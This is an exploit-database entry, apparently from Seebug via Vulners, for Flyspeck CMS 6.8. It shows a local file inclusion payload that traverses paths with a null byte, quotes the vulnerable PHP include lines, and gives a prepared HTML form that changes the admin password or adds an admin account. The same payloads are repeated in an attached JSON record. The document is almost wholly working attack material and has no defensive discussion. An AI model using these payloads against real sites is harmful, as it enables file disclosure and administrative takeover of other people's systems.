Search...

Flyspeck CMS 6.8 Remote LFI / Change Add Admin Exploit

2009-05-19T00:00:00

ID SSV:11339
Type seebug
Reporter Root
Modified 2009-05-19T00:00:00

Description

No description provided by source.

                                        
                                            
                                                                =-=-remote change add admin xpl/lfi-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Flyspeck CMS 6.8
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.flyspeck.net/purchase/download_trial.php
--------------------------------------------------
lfi:
includes/database/examples/addressbook.php?lang=../../../../boot.ini%00

$lang = isset($_GET['lang']) ? $_GET['lang'] : 'de'; line 28
include &quot;lang.&quot; . $lang . &quot;.inc&quot;; line 29
--------------------------

change pass and add admin:


&lt;h2&gt;coded by ahmadbady&lt;/h2&gt;
&lt;form name=&quot;editUser&quot; action=&quot;/flyspeck/index.php?event=updateExistingContent&quot; 
onsubmit=&quot;return validateForm(this)&quot; method=&quot;post&quot; 
enctype=&quot;multipart/form-data&quot;&gt;&lt;label name=&quot;Name&quot;&gt;Name&lt;/label&gt;
&lt;input type=&quot;text&quot; name=&quot;users[fullname]&quot; value=&quot;admin&quot; /&gt;
&lt;label name=&quot;Email&quot;&gt;Email&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;users[email]&quot; value=&quot;admin&quot; /&gt;
&lt;label name=&quot;Role&quot;&gt;Role&lt;/label&gt;&lt;select name=&quot;users[role_id]&quot;&gt;&lt;option value=&quot;1&quot; label=&quot;admin&quot; /&gt;
&lt;/select&gt;&lt;label name=&quot;Username&quot;&gt;Username&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;users[username]&quot; value=&quot;admin&quot; /&gt;
&lt;label name=&quot;Password&quot;&gt;Password&lt;/label&gt;&lt;input type=&quot;text&quot; name=&quot;users[password]&quot; value=&quot;admin&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;1&quot; /&gt;&lt;input type=&quot;hidden&quot; name=&quot;defName&quot; value=&quot;users&quot; /&gt;
&lt;input type=&quot;submit&quot; name=&quot;1&quot; value=&quot;Save&quot; /&gt;&lt;/form&gt;

JSON Vulners Source

Initial Source

{"sourceData": "\n =-=-remote change add admin xpl/lfi-=-=\r\n\r\n-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=\r\nscript::Flyspeck CMS 6.8\r\n-------------------------------------------------\r\nAuthor: ahmadbady\r\nmy site :Coming Soon\r\n=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\ndownload from:http://www.flyspeck.net/purchase/download_trial.php\r\n--------------------------------------------------\r\nlfi:\r\nincludes/database/examples/addressbook.php?lang=../../../../boot.ini%00\r\n\r\n$lang = isset($_GET['lang']) ? $_GET['lang'] : 'de'; line 28\r\ninclude "lang." . $lang . ".inc"; line 29\r\n--------------------------\r\n\r\nchange pass and add admin:\r\n\r\n\r\n<h2>coded by ahmadbady</h2>\r\n<form name="editUser" action="/flyspeck/index.php?event=updateExistingContent" \r\nonsubmit="return validateForm(this)" method="post" \r\nenctype="multipart/form-data"><label name="Name">Name</label>\r\n<input type="text" name="users[fullname]" value="admin" />\r\n<label name="Email">Email</label><input type="text" name="users[email]" value="admin" />\r\n<label name="Role">Role</label><select name="users[role_id]"><option value="1" label="admin" />\r\n</select><label name="Username">Username</label><input type="text" name="users[username]" value="admin" />\r\n<label name="Password">Password</label><input type="text" name="users[password]" value="admin" />\r\n<input type="hidden" name="id" value="1" /><input type="hidden" name="defName" value="users" />\r\n<input type="submit" name="1" value="Save" /></form>\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-11339", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-11339", "type": "seebug", "viewCount": 2, "references": [], "lastseen": "2017-11-19T18:50:13", "published": "2009-05-19T00:00:00", "cvelist": [], "id": "SSV:11339", "enchantments_done": [], "modified": "2009-05-19T00:00:00", "title": "Flyspeck CMS 6.8 Remote LFI / Change Add Admin Exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.1, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.1}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645350921}}